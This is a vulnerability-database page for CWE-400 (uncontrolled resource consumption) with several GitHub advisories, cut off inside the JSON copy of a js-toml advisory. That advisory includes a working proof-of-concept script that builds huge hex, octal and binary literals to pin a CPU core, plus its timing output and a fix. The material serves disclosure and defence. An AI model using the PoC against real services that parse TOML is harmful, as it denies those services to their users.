CWE-400
Weakness DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
Dimensions
- Behavior-Property: Uncontrolled
- Behavior-Type: Consumption
- Resource-Type: Resource
Mapping guidance
CWE-400 is intended for incorrect behaviors in which the product is expected to track and restrict how many resources it consumes, but CWE-400 is often misused because it is conflated with the "technical impact" of vulnerabilities in which resource consumption occurs. It is sometimes used for low-information vulnerability reports. It is a level-1 Class (i.e., a child of a Pillar).
Closely analyze the specific mistake that is causing resource consumption, and perform a CWE mapping for that mistake. Consider children/descendants.
Modes of introduction
The product could be operated in a system or environment with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The product could be configured with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The designer might not consider how to handle and throttle excessive resource requests, which typically requires careful planning to handle more gracefully than a crash or exit.
There are at least three distinct scenarios that can commonly lead to resource exhaustion:
Lack of throttling for the number of allocated resources.
Losing all references to a resource before reaching the shutdown stage.
Not closing/returning a resource after processing.
Resource exhaustion problems often occur due to an incorrect implementation of the following situations:
Error conditions and other exceptional circumstances.
Confusion over which part of the program is responsible for releasing the resource.
Detection methods
Automated Static Analysis
Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.
Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.
Effectiveness: Limited
Automated Dynamic Analysis
Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.
Effectiveness: Moderate
Fuzzing
While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.
Effectiveness: Opportunistic
Notes
Theoretical
Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.
Other
Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.
A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.
Limited resources include memory, file system storage, database connection pool entries, CPU, and others.
Content history
Suggested mappings to ISA/IEC 62443.
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability.
updated Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
updated Description, Name, Relationships
updated Description
updated Name, Relationships
updated Description, Relationships
updated Relationships
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
updated Related_Attack_Patterns
updated Description
updated Demonstrative_Examples
updated Common_Consequences, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Relationships
updated Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships
updated Relationships
updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, References, Relationships
updated References, Type
updated Alternate_Terms, Description, Name, Relationships, Taxonomy_Mappings, Theoretical_Notes
updated Related_Attack_Patterns, Relationships
updated Description, Relationships
updated Description, References, Related_Attack_Patterns, Relationships
updated Description, Maintenance_Notes
updated Relationships
updated Related_Attack_Patterns
updated Observed_Examples, Relationships
updated Observed_Examples, Relationships
updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Related_Attack_Patterns, Taxonomy_Mappings
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships
updated Relationships
updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Other_Notes, Time_of_Introduction
updated Observed_Examples, References
updated Applicable_Platforms, Maintenance_Notes, Weakness_Ordinalities
updated Applicable_Platforms, Maintenance_Notes, Mapping_Notes, Other_Notes
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
7197 vulnerabilities reference this CWE, most recent first.
GHSA-WMPQ-8MXR-7PXX
Vulnerability from github – Published: 2022-05-14 01:41 – Updated: 2022-05-14 01:41The read_packet function in knc (Kerberised NetCat) before 1.11-1 is vulnerable to denial of service (memory exhaustion) that can be exploited remotely without authentication, possibly affecting another services running on the targeted host.
{
"affected": [],
"aliases": [
"CVE-2017-9732"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-20T23:29:00Z",
"severity": "HIGH"
},
"details": "The read_packet function in knc (Kerberised NetCat) before 1.11-1 is vulnerable to denial of service (memory exhaustion) that can be exploited remotely without authentication, possibly affecting another services running on the targeted host.",
"id": "GHSA-wmpq-8mxr-7pxx",
"modified": "2022-05-14T01:41:36Z",
"published": "2022-05-14T01:41:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9732"
},
{
"type": "WEB",
"url": "https://github.com/elric1/knc/commit/f237f3e09ecbaf59c897f5046538a7b1a3fa40c1"
},
{
"type": "WEB",
"url": "https://github.com/irsl/knc-memory-exhaustion"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/150534/knc-Kerberized-NetCat-Denial-Of-Service.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/Nov/65"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WMQ3-659R-46HG
Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2022-05-13 01:38admin-cli before versions 3.0.0.alpha25, 2.2.1.cr2 is vulnerable to an EAP feature to download server log files that allows logs to be available via GET requests making them vulnerable to cross-origin attacks. An attacker could trigger the user's browser to request the log files consuming enough resources that normal server functioning could be impaired.
{
"affected": [],
"aliases": [
"CVE-2016-8627"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-05-11T13:29:00Z",
"severity": "MODERATE"
},
"details": "admin-cli before versions 3.0.0.alpha25, 2.2.1.cr2 is vulnerable to an EAP feature to download server log files that allows logs to be available via GET requests making them vulnerable to cross-origin attacks. An attacker could trigger the user\u0027s browser to request the log files consuming enough resources that normal server functioning could be impaired.",
"id": "GHSA-wmq3-659r-46hg",
"modified": "2022-05-13T01:38:39Z",
"published": "2022-05-13T01:38:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-8627"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:3454"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:3455"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:3456"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:3458"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8627"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2017-0170.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2017-0171.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2017-0172.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2017-0173.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2017-0244.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2017-0245.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2017-0246.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2017-0247.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2017-0250.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/95698"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1037660"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WMWV-5VWP-C54W
Vulnerability from github – Published: 2022-09-14 00:00 – Updated: 2022-09-20 00:00A DMA reentrancy issue was found in the Tulip device emulation in QEMU. When Tulip reads or writes to the rx/tx descriptor or copies the rx/tx frame, it doesn't check whether the destination address is its own MMIO address. This can cause the device to trigger MMIO handlers multiple times, possibly leading to a stack or heap overflow. A malicious guest could use this flaw to crash the QEMU process on the host, resulting in a denial of service condition.
{
"affected": [],
"aliases": [
"CVE-2022-2962"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-662",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-13T20:15:00Z",
"severity": "HIGH"
},
"details": "A DMA reentrancy issue was found in the Tulip device emulation in QEMU. When Tulip reads or writes to the rx/tx descriptor or copies the rx/tx frame, it doesn\u0027t check whether the destination address is its own MMIO address. This can cause the device to trigger MMIO handlers multiple times, possibly leading to a stack or heap overflow. A malicious guest could use this flaw to crash the QEMU process on the host, resulting in a denial of service condition.",
"id": "GHSA-wmwv-5vwp-c54w",
"modified": "2022-09-20T00:00:29Z",
"published": "2022-09-14T00:00:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2962"
},
{
"type": "WEB",
"url": "https://gitlab.com/qemu-project/qemu/-/commit/36a894aeb64a2e02871016da1c37d4a4ca109182"
},
{
"type": "WEB",
"url": "https://gitlab.com/qemu-project/qemu/-/issues/1171"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WMXF-VFXG-WRM4
Vulnerability from github – Published: 2024-05-02 18:30 – Updated: 2024-08-16 21:32An issue in Hipcam Cameras RealServer v.1.0 allows a remote attacker to cause a denial of service via a crafted script to the client_port parameter.
{
"affected": [],
"aliases": [
"CVE-2023-50685"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-02T16:15:07Z",
"severity": "HIGH"
},
"details": "An issue in Hipcam Cameras RealServer v.1.0 allows a remote attacker to cause a denial of service via a crafted script to the client_port parameter.",
"id": "GHSA-wmxf-vfxg-wrm4",
"modified": "2024-08-16T21:32:35Z",
"published": "2024-05-02T18:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50685"
},
{
"type": "WEB",
"url": "https://github.com/UnderwaterCoder/Hipcam-RTSP-Format-Validation-Vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WP3C-266W-4QFQ
Vulnerability from github – Published: 2026-06-26 22:21 – Updated: 2026-11-04 03:41Summary
js-toml versions up to and including 1.1.0 parse hexadecimal / octal / binary integer literals via a hand-written parseBigInt loop that multiplies a BigInt accumulator by the radix once per input digit. Each iteration performs a BigInt * BigInt operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is O(n²) in the literal length. The lexer regex places no upper bound on the literal length, so a single TOML document containing one ~500 kB hex literal pins one CPU core for ~40 seconds on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work.
A caller that invokes load() on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party *.toml, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS.
CWE-1333 (Inefficient Regular Expression Complexity → here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (HIGH) when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (< 1 kB).
Affected
- Package:
js-toml(npm) - Versions:
>= 0.0.0, <= 1.1.0(all released versions up to and including the current1.1.0) - Affected entry point:
load()exported from the package root
Vulnerable code
src/load/tokens/NonDecimalInteger.ts lines 54-84 at SHA-pinned 2470ebf2e9009096aa4cbd1a15e574c54cc36b1a:
const parseBigInt = (string: string, radix: number): bigint => {
let result = BigInt(0);
for (let i = 0; i < string.length; i++) {
const char = string[i];
const digit = parseInt(char, radix);
result = result * BigInt(radix) + BigInt(digit);
}
return result;
};
and the interpreter that dispatches to it at lines 72-84:
registerTokenInterpreter(NonDecimalInteger, (raw: string) => {
const intString = raw.replace(/_/g, '');
const digits = intString.slice(2);
const radix = getRadix(raw);
const int = parseInt(digits, radix);
if (Number.isSafeInteger(int)) {
return int;
}
return parseBigInt(digits, radix);
});
Two compounding problems:
-
Algorithmic: the loop performs
result * BigInt(radix) + BigInt(digit)once per input digit. AfteriiterationsresulthasO(i)limbs, so the multiply costsO(i). Summed overndigits the total cost isO(n²). -
No length guard: the lexer regex at
src/load/tokens/NonDecimalInteger.ts#L14-L46is0x<hexDigit>(<hexDigit>|_<hexDigit>)*(likewise for0o/0b). The literal length is bounded only by the input document size. There is nomaxNumberLength/maxLiteralLengthoption, nochevrotain-level cutoff, and no validation at the interpreter callsite.
By contrast, the DecimalInteger token interpreter at src/load/tokens/DecimalInteger.ts#L12-L19 uses the V8 native BigInt(intString) constructor, which is O(n) and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop.
Impact
A single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With 8 MB of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls load() (the only documented entry point) on attacker-controlled or third-party TOML.
Reachability
The vulnerable path is the default code path for load(). No options or configuration are required to trigger it. Any caller that exposes load() to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds Number.MAX_SAFE_INTEGER (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits).
Realistic exposure surfaces:
- Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest).
- CI / CD or build tool that runs
js-tomlon TOML in third-party repositories or pull requests. - IDE / language-server plugin that re-parses a TOML buffer on every keystroke.
- Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker.
PoC (End-to-end reproduction)
Environment
- Node.js
v22.x(tested onv22.0.0and Nodev26.0.0) - macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock)
Install
mkdir js-toml-cve && cd js-toml-cve
npm init -y
npm install js-toml@1.1.0 @iarna/toml
poc_full_e2e.mjs
import { load } from 'js-toml';
import iarna from '@iarna/toml';
function timeIt(label, fn) {
const t0 = process.hrtime.bigint();
let result, err;
try { result = fn(); } catch (e) { err = e; }
const t1 = process.hrtime.bigint();
const ms = (Number(t1 - t0) / 1e6).toFixed(1);
if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`);
else console.log(`${label}: ${ms}ms${result ? ' ' + result : ''}`);
}
console.log('--- Sanity baseline (small inputs) ---');
timeIt('decimal int 1', () => { load('x = 1'); return ''; });
timeIt('hex 0x10', () => { load('x = 0x10'); return ''; });
timeIt('hex 0xffff', () => { load('x = 0xffff'); return ''; });
console.log('\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---');
for (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) {
const hexDigits = 'f'.repeat(n);
const tomlText = `x = 0x${hexDigits}`;
timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`,
() => {
const r = load(tomlText);
return `bits=${r.x.toString(2).length}`;
});
}
console.log('\n--- Negative control: same input via @iarna/toml ---');
for (const n of [10_000, 50_000, 100_000, 200_000]) {
const hexDigits = 'f'.repeat(n);
const tomlText = `x = 0x${hexDigits}`;
timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`,
() => {
const r = iarna.parse(tomlText);
return `type=${typeof r.x}`;
});
}
console.log('\n--- Octal / binary share the same code path ---');
for (const n of [50_000, 100_000]) {
const octDigits = '7'.repeat(n);
const binDigits = '1'.repeat(n);
timeIt(`oct 0o${n.toLocaleString()} digits`,
() => { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; });
timeIt(`bin 0b${n.toLocaleString()} digits`,
() => { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; });
}
Captured run output (unpatched js-toml@1.1.0, Node v26.0.0, Apple M-series)
# js-toml version: 1.1.0
--- Sanity baseline (small inputs) ---
decimal int 1: 1.3ms
hex 0x10: 0.4ms
hex 0xffff: 0.1ms
--- Amplification curve: js-toml.load() with 0x<N hex digits> ---
hex 10,000 digits (10006 bytes input): 15.0ms bits=40000
hex 20,000 digits (20006 bytes input): 29.8ms bits=80000
hex 50,000 digits (50006 bytes input): 214.7ms bits=200000
hex 100,000 digits (100006 bytes input): 693.0ms bits=400000
hex 200,000 digits (200006 bytes input): 3239.6ms bits=800000
hex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000
--- Negative control: same input via @iarna/toml ---
@iarna/toml hex 10,000 digits: 2.3ms type=bigint
@iarna/toml hex 50,000 digits: 3.2ms type=bigint
@iarna/toml hex 100,000 digits: 5.4ms type=bigint
@iarna/toml hex 200,000 digits: 10.2ms type=bigint
--- Octal / binary share the same code path ---
oct 0o50,000 digits: 187.6ms bits=150000
bin 0b50,000 digits: 49.5ms bits=50000
oct 0o100,000 digits: 633.2ms bits=300000
bin 0b100,000 digits: 196.8ms bits=100000
Confirmation points:
- Quadratic curve: 10k → 20k digits is ~2x time (15ms → 30ms); 100k → 200k is ~4.7x time (693ms → 3239ms); 200k → 500k (2.5x) is ~12x time (3.2s → 40s). Matches the predicted
O(n²). - Single ~500 kB document blocks the event loop for ~40 s of CPU time.
- Octal and binary literals trigger the same path through
parseBigInt(digits, 8)andparseBigInt(digits, 2). - The negative control (
@iarna/toml, which calls the V8 nativeBigInt(value)constructor) parses the same inputs in 2-10 ms. The defect is injs-toml's hand-written radix conversion, not in V8BigIntsemantics or in the input size itself.
Patched-build verification
After applying the fix (replace parseBigInt(digits, radix) with BigInt('0' + raw[1] + digits) and add a maxLiteralLength guard at the interpreter callsite), the same PoC produces:
--- Amplification curve: js-toml.load() with 0x<N hex digits> ---
hex 10,000 digits: 0.2ms bits=40000
hex 20,000 digits: 0.3ms bits=80000
hex 50,000 digits: 0.7ms bits=200000
hex 100,000 digits: 1.5ms bits=400000
hex 200,000 digits: 2.8ms bits=800000
hex 500,000 digits: 7.1ms bits=2000000
(Linear scaling, sub-10 ms even on inputs five orders of magnitude larger than any realistic literal.) With a 1000-digit cap applied at the interpreter callsite, literals beyond the cap raise SyntaxParseError instead of being parsed at all, matching the maxNumberLength convention used by jackson-core StreamReadConstraints and gson NumberLimits.
Suggested fix
Two changes, both in src/load/tokens/NonDecimalInteger.ts:
- Replace the hand-written
parseBigIntloop with the V8 nativeBigInt(prefixedString)constructor.BigIntnatively accepts the0x/0o/0bprefix and parses inO(n):
```ts registerTokenInterpreter(NonDecimalInteger, (raw: string) => { const intString = raw.replace(/_/g, ''); const digits = intString.slice(2); const radix = getRadix(raw);
// Optional but recommended: cap the literal length to avoid degenerate inputs
const MAX_RADIX_LITERAL_LENGTH = 1000;
if (digits.length > MAX_RADIX_LITERAL_LENGTH) {
throw new SyntaxParseError(
`Radix-prefixed integer literal exceeds ${MAX_RADIX_LITERAL_LENGTH} digits`
);
}
const int = parseInt(digits, radix);
if (Number.isSafeInteger(int)) {
return int;
}
// BigInt accepts '0x'/'0o'/'0b' prefix natively
return BigInt(intString);
}); ```
- Delete the
parseBigInthelper. The native constructor handles all three radices.
Either change alone fixes the worst-case wall-clock. The combination matches the constraint posture of jackson-core (StreamReadConstraints.validateIntegerLength) and gson (NumberLimits.checkNumberStringLength).
Fix PR link
https://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2
Credit
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.1.1"
},
"package": {
"ecosystem": "npm",
"name": "js-toml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49293"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T22:21:43Z",
"nvd_published_at": "2026-06-19T19:16:36Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`js-toml` versions up to and including **1.1.0** parse hexadecimal / octal / binary integer literals via a hand-written `parseBigInt` loop that multiplies a `BigInt` accumulator by the radix once per input digit. Each iteration performs a `BigInt * BigInt` operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is **O(n\u00b2)** in the literal length. The lexer regex places **no upper bound on the literal length**, so a single TOML document containing one ~500 kB hex literal pins one CPU core for **~40 seconds** on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work.\n\nA caller that invokes `load()` on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party `*.toml`, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS.\n\nCWE-1333 (Inefficient Regular Expression Complexity \u2192 here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity).\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = **7.5 (HIGH)** when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (\u003c 1 kB).\n\n## Affected\n\n- Package: `js-toml` (npm)\n- Versions: `\u003e= 0.0.0, \u003c= 1.1.0` (all released versions up to and including the current `1.1.0`)\n- Affected entry point: `load()` exported from the package root\n\n## Vulnerable code\n\n`src/load/tokens/NonDecimalInteger.ts` lines 54-84 at SHA-pinned [`2470ebf2e9009096aa4cbd1a15e574c54cc36b1a`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L54-L84):\n\n```ts\nconst parseBigInt = (string: string, radix: number): bigint =\u003e {\n let result = BigInt(0);\n for (let i = 0; i \u003c string.length; i++) {\n const char = string[i];\n const digit = parseInt(char, radix);\n result = result * BigInt(radix) + BigInt(digit);\n }\n\n return result;\n};\n```\n\nand the interpreter that dispatches to it at lines 72-84:\n\n```ts\nregisterTokenInterpreter(NonDecimalInteger, (raw: string) =\u003e {\n const intString = raw.replace(/_/g, \u0027\u0027);\n const digits = intString.slice(2);\n const radix = getRadix(raw);\n\n const int = parseInt(digits, radix);\n\n if (Number.isSafeInteger(int)) {\n return int;\n }\n\n return parseBigInt(digits, radix);\n});\n```\n\nTwo compounding problems:\n\n1. **Algorithmic**: the loop performs `result * BigInt(radix) + BigInt(digit)` once per input digit. After `i` iterations `result` has `O(i)` limbs, so the multiply costs `O(i)`. Summed over `n` digits the total cost is `O(n\u00b2)`.\n\n2. **No length guard**: the lexer regex at [`src/load/tokens/NonDecimalInteger.ts#L14-L46`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L14-L46) is `0x\u003chexDigit\u003e(\u003chexDigit\u003e|_\u003chexDigit\u003e)*` (likewise for `0o` / `0b`). The literal length is bounded only by the input document size. There is no `maxNumberLength` / `maxLiteralLength` option, no `chevrotain`-level cutoff, and no validation at the interpreter callsite.\n\nBy contrast, the `DecimalInteger` token interpreter at [`src/load/tokens/DecimalInteger.ts#L12-L19`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/DecimalInteger.ts#L12-L19) uses the V8 native `BigInt(intString)` constructor, which is `O(n)` and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop.\n\n## Impact\n\nA single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With `8 MB` of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls `load()` (the only documented entry point) on attacker-controlled or third-party TOML.\n\n## Reachability\n\nThe vulnerable path is the default code path for `load()`. No options or configuration are required to trigger it. Any caller that exposes `load()` to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds `Number.MAX_SAFE_INTEGER` (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits).\n\nRealistic exposure surfaces:\n\n- Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest).\n- CI / CD or build tool that runs `js-toml` on TOML in third-party repositories or pull requests.\n- IDE / language-server plugin that re-parses a TOML buffer on every keystroke.\n- Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker.\n\n## PoC (End-to-end reproduction)\n\n### Environment\n\n- Node.js `v22.x` (tested on `v22.0.0` and Node `v26.0.0`)\n- macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock)\n\n### Install\n\n```bash\nmkdir js-toml-cve \u0026\u0026 cd js-toml-cve\nnpm init -y\nnpm install js-toml@1.1.0 @iarna/toml\n```\n\n### `poc_full_e2e.mjs`\n\n```js\nimport { load } from \u0027js-toml\u0027;\nimport iarna from \u0027@iarna/toml\u0027;\n\nfunction timeIt(label, fn) {\n const t0 = process.hrtime.bigint();\n let result, err;\n try { result = fn(); } catch (e) { err = e; }\n const t1 = process.hrtime.bigint();\n const ms = (Number(t1 - t0) / 1e6).toFixed(1);\n if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`);\n else console.log(`${label}: ${ms}ms${result ? \u0027 \u0027 + result : \u0027\u0027}`);\n}\n\nconsole.log(\u0027--- Sanity baseline (small inputs) ---\u0027);\ntimeIt(\u0027decimal int 1\u0027, () =\u003e { load(\u0027x = 1\u0027); return \u0027\u0027; });\ntimeIt(\u0027hex 0x10\u0027, () =\u003e { load(\u0027x = 0x10\u0027); return \u0027\u0027; });\ntimeIt(\u0027hex 0xffff\u0027, () =\u003e { load(\u0027x = 0xffff\u0027); return \u0027\u0027; });\n\nconsole.log(\u0027\\n--- Amplification curve: js-toml.load() with 0x\u003cN hex digits\u003e ---\u0027);\nfor (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) {\n const hexDigits = \u0027f\u0027.repeat(n);\n const tomlText = `x = 0x${hexDigits}`;\n timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`,\n () =\u003e {\n const r = load(tomlText);\n return `bits=${r.x.toString(2).length}`;\n });\n}\n\nconsole.log(\u0027\\n--- Negative control: same input via @iarna/toml ---\u0027);\nfor (const n of [10_000, 50_000, 100_000, 200_000]) {\n const hexDigits = \u0027f\u0027.repeat(n);\n const tomlText = `x = 0x${hexDigits}`;\n timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`,\n () =\u003e {\n const r = iarna.parse(tomlText);\n return `type=${typeof r.x}`;\n });\n}\n\nconsole.log(\u0027\\n--- Octal / binary share the same code path ---\u0027);\nfor (const n of [50_000, 100_000]) {\n const octDigits = \u00277\u0027.repeat(n);\n const binDigits = \u00271\u0027.repeat(n);\n timeIt(`oct 0o${n.toLocaleString()} digits`,\n () =\u003e { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; });\n timeIt(`bin 0b${n.toLocaleString()} digits`,\n () =\u003e { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; });\n}\n```\n\n### Captured run output (unpatched `js-toml@1.1.0`, Node v26.0.0, Apple M-series)\n\n```\n# js-toml version: 1.1.0\n\n--- Sanity baseline (small inputs) ---\ndecimal int 1: 1.3ms\nhex 0x10: 0.4ms\nhex 0xffff: 0.1ms\n\n--- Amplification curve: js-toml.load() with 0x\u003cN hex digits\u003e ---\nhex 10,000 digits (10006 bytes input): 15.0ms bits=40000\nhex 20,000 digits (20006 bytes input): 29.8ms bits=80000\nhex 50,000 digits (50006 bytes input): 214.7ms bits=200000\nhex 100,000 digits (100006 bytes input): 693.0ms bits=400000\nhex 200,000 digits (200006 bytes input): 3239.6ms bits=800000\nhex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000\n\n--- Negative control: same input via @iarna/toml ---\n@iarna/toml hex 10,000 digits: 2.3ms type=bigint\n@iarna/toml hex 50,000 digits: 3.2ms type=bigint\n@iarna/toml hex 100,000 digits: 5.4ms type=bigint\n@iarna/toml hex 200,000 